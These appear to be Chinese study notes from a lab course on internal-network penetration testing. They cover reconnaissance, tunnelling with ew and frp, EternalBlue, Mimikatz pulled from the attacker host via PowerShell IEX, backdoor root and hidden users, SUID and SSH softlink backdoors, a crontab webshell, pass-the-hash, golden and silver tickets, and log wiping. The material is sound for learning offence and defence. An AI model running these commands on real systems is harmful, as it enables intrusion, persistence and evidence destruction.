什么是内网
内网ip:
A类:10.0.0.0-10.255.255.255 B类:172.16.0.0-172.31.255.255 C类:192.168.0.0-192.168.255.255
公网:除了内网之外的ip
LAN:局域网、学校、公司、宿舍、两台电脑之间...
WAN:公网、因特网、运营商网络...
内网与内网渗透
目标组织
梳理资产-->数据
渗透:更多有价值的数据是处于内网环境当中的
NAT:网络地址转换
-
内网-->外网
矛盾:
-
内网1--x-->内网2
-
外网--x-->内网
引出问题:内网无法直接访问,如何进行内网渗透?
-
C2服务器
-
处于公网中的云服务器
-
内网1-->C2<--内网2(比如让内网2反弹shell到C2)
-
外网-->C2<--内网
-
内网本身无法直接访问,在公网中引入C2服务器,通过流量操控技术在一定条件下,使得目标内网机器被间接访问
内网渗透
-->国内炒作的概念
-
内网渗透!=Windows域渗透
-
Windows工作组、Windows域环境、Linux...
-
渗透测试的后部阶段
-->渗透测试
-
权威参考:ATT&CK
-
渗透测试知识分类
-
技术画像
-
侦察
-
资源开发
-
初始访问-->打点(拿下第一个shell)
-
执行
-
持久性-->持久化
-
权限提升-->提权
-
防御规避-->绕过
-
凭证访问
-
发现-->进一步的资产挖掘
-
横向移动-->跳板、c段、旁站
-
收藏-->对有价值的数据进行收集、为转移数据做准备、间谍软件
-
命令与控制-->基础设施:C2(流量操控、命令传递)、rmi服务、ldap服务、文件服务...
-
泄露-->数据渗出,将内网有价值的数据资产带出
-
影响-->清除各种渗透痕迹、以破坏性为操作目的:磁盘损坏、dos、勒索
-
-
实验环境准备
设备
-
kali
-
Windows7(代码审计时候用的)
-
Windows Server 2008 R2 密码:administrator/Pinginglab.net
背景
Kali(内网、公网)-->Windows(内网)
Kali内网1-->C2<--内网2(直接从内网发起攻击,流量需在公网做转发)
pc内网1--远程-->KaliC2<--内网2(仅仅只是远程上去控制云服务器发起攻击而已,相当于直接从云服务器发起攻击)
实验环境
Kali与Windows处于同一个局域网(其实不是,但当它是这样)
信息搜集
打点后:分析是否有内网环境
拿到第一个shell...
-
我是谁
-
我在哪
-
我能去哪
如何尽可能全面搜集信息
-
从当前机器自身出发,逐步发散发现其他资产或服务
Windows
杂项命令
乱码问题 chcp 65001 网卡配置信息:收集网络信息、所处网段、通信网卡类型(本地网络、vpn网络)、主机名(有含义的主机名:部门、人名...)、电脑厂商 ipconfig /all 系统信息:主机名、操作系统版本(对应版本漏洞)、时间(时区)、补丁、机器管理方式(工作组还是域)、正在工作的网卡(一个网卡说明能到达一个网络) systeminfo 系统体系结构 echo %PROCESSOR_ARCHITECTURE% 软件信息:对目标PC使用者进行画像、查看软件版本信息(可能与某些漏洞利用有关) wmic product get name,version powershell "Get-WmiObject –classWin32_Product | Select-Object –property name,version" 本机服务信息:服务-->版本-->漏洞 wmic service list brief 进程信息:正在运行的程序(杀软、画像) tasklist 自启动信息:评估这个人侧重关注什么软件 wmic startup get command,caption 计划任务(定时执行程序、脚本) schtasks /query /fo list /v 开机时间:工作动态 net statistics workstation、systeminfo
重要命令
系统(本地)用户信息 net user、net localgroup administrators 当前在线用户 query user || qwinsta 端口列表 netstat -anbo 补丁 wmic qfe get、systeminfo、控制面板\程序\程序和功能\已安装更新 路由信息:机器可达的网络或主机 route print -4 arp缓存 arp -a 防火墙 netsh advfirewall set allprofiles state off
Windows管理方式
工作组:管理、配置(注册表),数据存储在本地
域环境:中心化的管理方式,由域控制器统一管理
区别:对于计算机的管理方式不同
域环境搭建(将工作组主机升级为域控)
1.更改ip地址(一台服务器的ip当然得足够稳定)
2.更改主机名
3.安装ADDS(活动目录域服务)
4.dcpromo.exe
域主要成员
-
域控制器
-
域内普通主机
-
域内服务器
域环境基础
域:一系列通过域服务组织、管理的计算机的集合
域名:一个计算机区域范围的名称,如:baidu.com
完全限定域名:域内主机名+域名,限定为该域范围内的唯一一台主机,如:www.baidu.com、nwes.baidu.com、dc.pinginglab.net、pc1.pinginglab.net
域名解析:将(完全限定)域名解析为ip地址
单域环境
多域环境
域森林
全局编录、只读域控
本地环境和域环境
用户
本地用户(本地登录,本地创建)
域用户(域控制器创建)
-
域用户默认情况下可以登录域内的任何机器
-
域管理员可以登录域内的任何机器
创建的文件都默认保存在本机,不会随用户登录主机变化而跟随
域内权限
用户组是可以嵌套的,但是权限不会绝对对等
-
域本地组:来自于全林,用于本域
-
全局组:来自于本域,用于全林
-
通用组:来自于全林,用于全林
Windows环境渗透
-
区分工作组环境还是域环境
-
工作组:常规渗透方式(内核漏洞、服务漏洞、凭证访问...)
-
域环境:利用域环境的特性进行对域的全面控制
-
域控制器能够管理域内的所有机器
-
域管理员可以登录到域内的所有机器
-
渗透方法:找域管理员、找域控
-
-
net group "domain admins" /domain net group "domain controllers" /domain
存活主机扫描
存活主机扫描原理:arp、icmp,所以处于公网的kali无法扫描内网的机器。方法是先get内网的一个主机的shell,再由已控的内网机器对内网发起扫描
业内受欢迎工具:fscan
系统命令方式 Windows FOR /L %variable IN (start,step,end) DO command [command-parameters] for /L %i in (125,1,254) do @ping -w 1 -n 1 172.23.100.%i | findstr "TTL" Linux(需要自己写一个脚本然后在第一个get shell的内网机器上执行) #!/bin/bash for i in {125..145}; do host=172.23.100.$i ping -c 1 $host > /dev/null if [$? = 0] then echo "172.23.100.$i is up" else echo "172.23.100.$i is down" fi done
流量操控技术
内网中渗透测试的矛盾:内网无法被直接从公网发起访问
解决方案:已控的目标主机充当跳板
端口转发
场景
-
本地端口转发
将服务器自身的某一个服务端口的流量转发到自身的另一个端口 Windows netsh interface portproxy add v4tov4 listenaddress =172.23.100.137 listenport=2300 connectaddress=172.23.100.137 connectport=23 //端口转发策略 netsh interface portproxy show v4tov4 //查看端口转发策略 netsh interface portproxy delete v4tov4 listenaddress =172.23.100.137 listenport=2300 connectaddress=172.23.100.137 connectport=23 //删除策略 Linux 工具:rinetd sudo vim /etc/rinetd.conf //编辑策略 rinetd -c /etc/rinetd.conf //应用策略
-
远程端口转发(Linux系统)(打破内网中渗透测试的矛盾)
工具:lcx、ew 原理 vps(kali)ew <---->PC ew kali: ./ew_for_linux64 -s lcx_listen -l 9999 -e 10000 owasp: ./ew_for_Linux32 -s lcx_slave -d 172.23.100.130 -e 10000 -f 172.23.100.132 -g 80 备注:-e为两台机器保持通信的端口,-g为原本服务的端口,-l为转发到目标机器上的端口。结果为:访问kali的9999相当于访问内网的80。此时内网中渗透测试的矛盾就被打破了
-
远程端口转发(Windows系统)
工具、原理同Linux kali: ./ew_for_linux64 -s lcx_listen -l 9999 -e 10000 Windows: .\ew_for_Win.exe -s lcx_slave -d 172.23.100.130 -e 10000 -f 172.23.100.137 -g 135
-
远程端口转发结合本地端口转发
原理 vps(kali)ew 9998<---->(PC 80-->7777) kali: ./ew_for_linux64 -s lcx_listen -l 9998 -e 10000 owasp: 先自己进行本地端口转发:./ew_for_Linux32 -s lcx_tran -l 7777 -f 172.23.100.132 -g 80 再进行远程端口转发:./ew_for_Linux32 -s lcx_slave -d 172.23.100.130 -e 10000 -f 172.23.100.132 -g 7777
由端口转发引出的问题:难道整个机器上的流量要一个个转发出来吗
代理技术
-
正向代理
客户端的代理,代表客户端去访问目标服务器
socks代理一般为正向代理
-
反向代理
服务端的代理,代替服务端接受请求。客户端访问的是代理服务器,代理服务器决定如何将请求转发给后端真实服务器
-
透明代理
socks代理
版本:socks4/socks4a(只兼容TCP协议)、socks5(TCP、UDP均支持)
socks代理可将大多端口的流量都做转发,因为它把端口流量套到了另一个流量中(包裹在socks协议里面,像袜子一样),从而在外部抓包看起来就只是socks协议,看不到内部的明细协议内容
传输层以下的流量是不被socks协议转发的,如ICMP、ARP
原理 socks代理服务端(kali)<---->socks代理客户端(Windows) 使用ew配置socks5代理 kali: ./ew_for_linux64 -s rcsocks -l 7890 -e 10001 配置/etc/proxychains.conf文件,加一行:socks5 172.23.100.130 7890 走代理的话就proxychains4 程序名 Windows: .\ew_for_Win.exe -s rssocks -d 172.23.100.130 -e 10001 备注:-e为两台机器socks服务通信的端口,-l为socks监听端口。结果为:kali中可通过proxychains使用SOCKS5协议来访问内网(kali所有经过7890端口的流量会全部被转发到内网的Windows),且因为socks协议会打包很多协议,所以无需一个一个端口进行转发,直接扔给socks代理的端口(7890)就行 使用frp配置socks5代理 编辑配置文件 kali: cat frps.ini 1 [common] 2 bind_port = 10002 owasp: cat frpc.ini 1 [common] 2 server_addr = 172.23.100.135 3 server_port = 10002 4 5 [socks5] 6 type = tcp 7 remote_port = 7890 8 plugin = socks5
抓包现象
msfconsole代理
1.对跳板主机getshell 2.添加路由 meterpreter > run post/multi/manage/autoroute 3.查看getshell主机所在内网的路由表 meterpreter > run autoroute -p 4.将当前跳板会话放至后台 meterpreter > background 5.测试msf端口流量是否经过会话进行转发 msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
抓包现象
正反向流量
假设内网主机不出网
出网:内网主机可以与vps通信
不出网:内网主机不能直接与vps通信
-
msfconsole payload
-
meterpreter/reverse_tcp
-
meterpreter/bind_tcp
-
kali:172.23.100.130 Windows7:172.23.100.128 反弹shell meterpreter/reverse_tcp 172.23.100.135:4447 <- 172.23.100.128:49161 正向shell meterpreter/bind_tcp 172.23.100.135:44679 -> 172.23.100.128:4448
文件传输
wget python3 -m http.server 8080 meterpreter-->upload download
隧道技术
ssh隧道 dns隧道 icmp隧道 kali: sysctl -w net.ipv4.icmp_echo_ignore_all=1 python3 xxx.py kali_ip target_ip windows: xxx.exe -t kali_ip http隧道 reGeorg
权限提升
Linux:root、进程用户(www-data)、普通用户
Windows:TrustedInstaller、system、network service、local service、administrator、普通用户、guest、域管理员用户、域用户
Linux sudo、suid、程序溢出漏洞、内核溢出 Windows 程序溢出漏洞、内核溢出 工作组、域
msf提权枚举模块 use post/multi/recon/local_exploit_suggester Windows提权模块 use exploit/windows/local/cve_2019_1458_wizardopium
进程迁移
能够实现权限切换
进程迁移:从高到低
列出进程列表 meterpreter > ps 选择合适权限的进程ID进行权限迁移 meterpreter > migrate 340
权限维持
后门
会话提升
python -c 'import pty;pty.spawn("/bin/bash")' //终端啥都没有的时候自己整一个命令提示符
持久化访问
尽可能保持最高权限
思路:
1.尽可能找能自动运行或周期运行后门程序的方式
-
系统中有很多自动运行的机制,如计划任务、组策略、注册表
2.尽可能主动建立连接,并且这种连接是随时的
-
典型:处理ssh,做一个软链接、免密码登录、加一个后门账户...
Windows
-
工作组
-
域
Linux
Linux权限维持
常见隐藏手法
-
文件隐藏
mv shell .shell //将文件修改为隐藏文件 mv .shell 2020_10_10_nginx.log //修改文件名为有系统含义的文件名,比如后缀改成日志文件的或者配置文件的(尽可能通过文件名欺骗)
-
时间戳隐藏
touch命令的本质是修改文件时间戳 touch -t 202010101010.10 erorr.log.7.gz //指定修改文件的时间戳 touch -r error.log.7.gz erorr.log.7.gz //将一个文件的时间戳修改为另一个文件的时间戳
-
命令历史隐藏
set -o history //隐藏历史命令 set +o history //重新显示历史命令 history | grep 敏感命令 history -d [命令id] //精准地删除某条命令 rm -rf ~/.bash_history //直接整个文件删掉
Linux后门(用户权限持久化)
-
后门用户
后门管理员用户 useradd -p "$(openssl passwd -1 -salt '123' 123456)" nginx -o -u 0 -g root -G root -s /bin/bash //用户名为nginx,密码为123456 awk -F: '$3==0{print $1}' /etc/passwd //排查所有root权限的用户
-
sudo后门
普通用户结合sudoers 先创建一个普通用户 用root身份修改sudoers文件 vim /etc/sudoers root ALL=(ALL) ALL user1 ALL=(ALL) ALL
-
suid后门
比如想调一个管理员的shell回来 以root身份复制一份bash并添加s权限 cp /bin/bash /tmp/bash chmod +s /tmp/bash 然后切回普通用户 /tmp/bash -p
访问连接持久化
-
免密登录
原理:自己生成密钥去认证,而不是通过密码认证 在自己机器上生成密钥 ssh-keygen -t rsa 如果知道密码的话,就直接命令传到目标 ssh-copy-id -i ~/.ssh/id_rsa.pub root@172.23.100.132 如果不知道密码就开http服务传 传过去之后在目标上,将内容追加重定向到已认证机器中 cat id_rsa.pub >> authorized_keys
-
ssh软链接(任意密码)
/etc/pam.d
一种认证机制,记录了如果身份是root,那么不需要密码(任意密码)就能使用的命令
制作一个软链接 ln -sf /usr/sbin/sshd /tmp/su //创建一个ssh的快捷方式,命名为su 相当于:当使用su时,其实是使用了ssh服务;但pam的机制中允许使用su时不需要密码,也就相当于使用ssh服务不需要密码了 利用制作的这个软链接开一个后门 /tmp/su -oPort=6666 //不能直接写su,必须指定我们自己创建的su。利用这个su指定一个端口 ssh root@172.23.100.132 -p 6666 //后续登录输入任意密码即可
-
定时任务
Linux定时任务目录:/etc/crontab
vim /etc/crontab 自己加一条定时任务 */1 * * * * root /var/www/dvwa/hackable/uploads/shell //每分钟执行一次,每小时每天每月每周的每一天,以root身份执行之前利用文件上传漏洞传上去的木马
Windows权限维持
Windows后门
常见隐藏手法
-
勾选文件隐藏属性
-
添加隐藏用户
直接命令添加后门用户 net user hack$ "123456" /add //名字后加个$,命令查看可以隐藏,应用方式查看无法隐藏 注册表添加后门用户 通过命令的方式添加一个隐藏用户 其在注册表的HKEY_LOCAL_MACHINE中找到这个用户的Users和Names 将Users中管理员用户的F值复制给想添加的用户的F值 将想添加用户的Users和Names右键导出到桌面(方便找) 在计算机管理中把刚刚新添加的用户删掉 桌面双击刚刚导出的两个文件 相当于:先添加好后门用户以获取其注册表的导出文件,然后将其删掉,在点击导出文件添加。这样就可以直接添加到注册表当中而不在计算机管理或者命令行中出现
访问连接持久化
-
注册表自启动
找到注册表中设置自启动的文件 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 添加一个字符串项,然后命名 数值数据是文件绝对路径(如想让目标反弹shell就写目标反弹shell木马的路径)
-
组策略自启动
win+R运行gpedit.msc 找到Windows设置中的脚本(启动/关机),然后自己添加就行
-
定时任务自启动
在计算机管理的任务计划程序中创建基本任务即可
横向移动
前提:已经获得内网中的某一个机器作为跳板;已经做好内网主机的服务扫描;已经做好内网主机的出网探测
横向移动的方法
-
使用有效凭证进行横向移动(比如拿到了账号密码这些)
-
TELNET、RDP、SSH、VNC、Todesk、向日葵...
-
-
内核溢出漏洞(主要是RCE漏洞)
-
ms17-010(永恒之蓝,即使是现在,对于补丁缺乏的情况还是很吃香的)
实验过程(msfconsole)
会话攻击 原理:常规先用监听模块get一个shell当跳板,然后配置一个静态路由,它会自动分析目标主机所在的内网网段,并把这个网段“挂到”当前的 Meterpreter 会话上 在meterpreter shell中run post/multi/manage/autoroute,然后放到background 使用永恒之蓝攻击模块 use windows/smb/ms17_010_eternalblue 设置攻击目标和监听主机、端口 Windows7;kali、4446 运行 run socks5代理攻击 原理:在kali和跳板机之间配置socks5协议的服务器和客户端,以使kali可以访问内网 ew搭建socks5代理的服务端和客户端 使用socks5代理运行msfconsole proxychains4 msfconsole 使用永恒之蓝攻击模块 use windows/smb/ms17_010_eternalblue 设置攻击目标和监听主机、端口 Windows7;kali、4446 运行 run
反弹回来的结果是一个SYSTEM权限的shell
-
-
其他服务的RCE漏洞
-
redis、f5、edr...
-
web
-
横向移动场景(系统)
-
工作组Windows横向到另一个工作组Windows
-
常规打法(上述)
-
-
工作组Windows横向到域Windows(很少见)
-
常规打法(上述)
-
-
域Windows横向到域Windows
-
常规打法(较为困难,因为域控的限制)
-
找域控、找域管理员
-
PTH(哈希传递)、PTT(票据传递)
-
-
-
Windows到Linux
-
Linux到Windows
密码抓取(导出内存中的哈希)
Windows工具:mimikatz
-
mimikatz.exe
-
msfconsole mimikatz模块
如果是meterpreter shell中直接使用,需要先load mimikatz
-
powersploit 模块(推荐)
文件不落地的方式导出内存中的哈希
脚本:~/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1(需要管理员权限) kali要提前在Invoke-Mimikatz.ps1所在目录开启临时的http服务 执行powershell脚本 powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://172.23.100.130:8080/Invoke-Mimikatz.ps1');Invoke-mimikatz"
哈希传递(PTH)
hashdump(meterpreter shell中),导出存储在本地SAM数据库中的哈希
域内哈希传递打法
-
拿下域控,导出域管理员的哈希,进而可以登录域内任意一台机器
-
哈希除了存储在域控当中(本地永久存储),还会存储在内存当中。但是,在去到域控之前又导不出哈希,这时可以考虑导出当前shell内存中的哈希。如果无法导出就要联想到提权了
如 Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678::: chy:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:71e54d010d1b3dc077df88a923a3dd5d::: user1:1006:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678::: user2:1008:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678::: 格式 用户名:用户id:LM Hash:NTLM Hash::: 原理:Windows不校验明文密码,比如登录的时候输入的密码是通过NTLM算法转为哈希值然后做哈希比对的,所以无需获得密码的明文,只需导出NTLM的密文传递比较就可以了 为什么只适用域不适用于工作组打工作组:工作组每台机器的密码哈希都保存在本地而且不一样,没办法通过传递哈希值来进行横向登录;而域用户可以登录域内的任何机器,所以有可能每台机器都存储了这个哈希
哈希传递实验(msfconsole中)
工具:psexec(传哈希传明文都可以) search psexec use exploit/windows/smb/psexec //使用该模块需要管理员权限(普通用户执行不了),可能可以拿到SYSTEM权限 设置payload为windows/x64/meterpreter/reverse_tcp 设置域名、攻击目标和监听主机、端口 设置获取的用户名和密码哈希值(管理员的) set SMBPass、set SMBUser 运行 run ps:如何找到域控 首先get第一个跳板机的shell systeminfo查看系统信息,其中会包含域控的主机名和域名,即知道了完全限定域名,所以可以直接查到ip nslookup 主机名+域名 //得到域控ip
域渗透权限维持
IPC$
共享命名管道(Windows的一种机制)
不是一个真实的文件夹,而是一个系统用来做远程管理和控制的逻辑通道(可以使用IPC$进行远程连接、进行资源访问的特殊共享接口)
net use \\172.23.100.200\C$ "Pinginglab.net" /user:administrator //跟目标建立一个共享(前提),该过程由于传递了账号密码,所以是已经通过Kerberos协议认证了的 net use可查看共享 dir \\172.23.100.200\C$ //列出共享目录内容 type \\172.23.100.200\C$\dc.txt //查看共享文件内容 dir \\172.23.100.200\C$ /del //删除共享连接
票据传递(PTT)
前提:已经获取域控制器权限,票据传递是一种权限维持的手段
网络身份认证协议Kerberos
AD:账户数据库
KDC:密钥分发中心
AS:认证服务
TGT:票据授予票据(Golden Ticket,黄金票据)
TGS:票据授予服务
ST:服务票据(Silver Ticket,白银票据)
整个认证过程
通俗地讲,这个权限维持过程就是,低权限的用户是不能访问域控的,但是有了票据就可以了
伪造白银金票据(直接做ST)
需要搜集 domain:systeminfo(pinginglab.net) 域sid:wmic useraccount get sid,name(S-1-5-21-1179874109-2404244335-1532786490) 目标主机完全限定域名(域控):systeminfo(DC.pinginglab.net) 目标主机标识的NTLM Hash:d4de61729cc1632de4430f3ce7707149 伪造票据(meterpreter shell中) load mimikatz //加载mimikatz模块(?可以查看命令教程) 使用kiwi_cmd命令 开始做票 meterpreter > kiwi_cmd kerberos::golden /domain:pinginglab.net /sid:S-1-5-21-1179874109-2404244335-1532786490 /target:DC.pinginglab.net /service:CIFS /rc4:d4de61729cc1632de4430f3ce7707149 /user:James /ptt meterpreter > kerberos_ticket_list //列出伪造的票 meterpreter > kerberos_ticket_purge //删除伪造的票 shell进去之后查看票据 klist shell进去之后删除票据 klist purge 制作完票据验证一下 dir \\172.23.100.200\C$ //访问受限 dir \\DC.pinginglab.net\C$ //访问成功
伪造黄金票据(伪造TGT,得到真实的ST)
需要搜集 domain:pinginglab.net 域sid:S-1-5-21-1179874109-2404244335-1532786490 krbtgt用户(只存在于域控)的NTLM Hash:a30e1ca8277c05fc94766cd30ce2acb3 开始伪造 meterpreter > golden_ticket_create -d pinginglab.net -s S-1-5-21-1179874109-2404244335-1532786490 -k a30e1ca8277c05fc94766cd30ce2acb3 -u James -t /tmp/golden.kiribi //注意,这里需要保存一下票据(黄金票据先伪造再使用) meterpreter > kerberos_ticket_use /tmp/golden.kiribi
痕迹隐藏、清理
常见隐藏操作
-
隐藏真实ip(挂代理)
-
文件系统隐藏属性
-
系统日志
-
删除上传工具、后门文件(木马等)
-
通常只会留一个转发(远程控制工具),比如socks5
-
-
清除攻击过程工具、命令历史、日志记录
目的:拖延时间(节点实在太多,无法做到100%的痕迹清除)
Tips
-
时刻区分清楚是渗透测试行为还是攻防对抗入侵行为
-
通常无法完全清除整个入侵周期中产生的痕迹,通常关注清除关键线索
-
痕迹清除实际上是一种数字取证的逆向操作
Linux 操作日志文件:/var/log 筛选系统日志文件下带有自己ip的所有文件,然后把这些文件的ip换成127.0.0.1 sed -i s/"202.100.200.50"/"127.0.0.1"/g `grep -rl "202.100.200.50" /var/log` 或者直接把整个日志文件清掉 清空历史命令 cat /dev/null > ~/.zsh_history Windows事件日志 各类Windows服务日志 计算机管理Windows日志 应用程序:各种程序的周期(自启动、安装、运行...),关注木马自启动 安全:特别敏感,一般是直接右键清除日志或管理员权限cmd中wevtutil cl security、wevtutil cl system、wevtutil cl application meterpreter shell自带后渗透工具 meterpreter > run event_manager -i //查看有哪些日志 meterpreter > run event_manager -c //清除所有日志
应急响应
本质上是正向攻击的逆推导
计划任务是要关注的地方,检查有无被写恶意脚本 观察文件名,看看是否有异常(对方隐藏文件) awk -F: '$3==0{print $1}' /etc/passwd //排查所有root权限的用户 关注是否存在后门
内网经验
使用云主机进行攻击时,如果使用的是国内云,即使使用上不需要挂代理,为了隐藏痕迹,也要挂代理
首次get shell后ifconfig看到的ip地址如果是公网的,那么就要考虑基于这个公网发现一些c段;如果是内网的,那么就要考虑有没有其他同网段的ip
一般来讲,内网中主机的DNS服务器和主机是同网段的,所以当看到DNS服务器和当前主机处于不同网段时,可猜测内网环境中存在其他网段
内网中,主机的网关很有可能就是防火墙的ip或者路由器的ip
获取补丁编号后,可以直接搜补丁编号查询来获取提权EXP、RCE EXP等漏洞利用方式
路由表要看仔细点,尤其关注网关信息
域内主机的网关一般都是指向域控的,因为被管理的主机访问各种服务都要经过域控;DNS服务器一般也指向域控
一般来说一个域中都会有不止一个域控,因为服务器是很害怕单点故障的,如果域控崩了那就全崩了,所以域控会有一个备份的需求
域中的全局编录服务器:域和域之间的联通是由全局编录服务器承担的,两个域之间各种同步、授权建权和把关由域控之间协作,连接域和域之间最基本的通信逻辑单元就是全局编录服务器。所以如果一个域只有一个域控,那么这个域控一定是全局编录服务器;如果有备份的服务器,那么这个服务器就是只读域控制器
当一个工作组主机升级为域控时,它原本的管理员登录的账号密码就会变为进入该域的账号密码,并且该账密可以登录域内任意一台主机
DNS服务是看地域的,如果是对国内的域名解析一切就好说;但如果是对国外的域名做解析的话很可能国内的DNS服务器无法解析,这时就要勾选“使用socks5时使用代理DNS查询”,就可以让能访问国外域名的服务器来做DNS查询
做横向移动时,通常要对内部其他机器进行get shell,此时需要考虑内部主机能否出网:如果能出网,通常会将这台机器的流量反弹到vps;如果不能出网,那么流量就正向地交给内部的其他机器
Windows本地工作组机器会将账号密码这一类的东西放在SAM database,可以利用meterpreter的hashdump将其导出
票据传递中,伪造TGT需要和域控打交道,但伪造ST就不再需要和域控打交道了(拿了就能直接访问域内服务了)
Windows中,各种对文件的操作都属于cifs服务
有时通过伪造票据后进行远程访问时,如果用ip不行就可以试试用完全限定域名(虽然它俩本质上是一样的)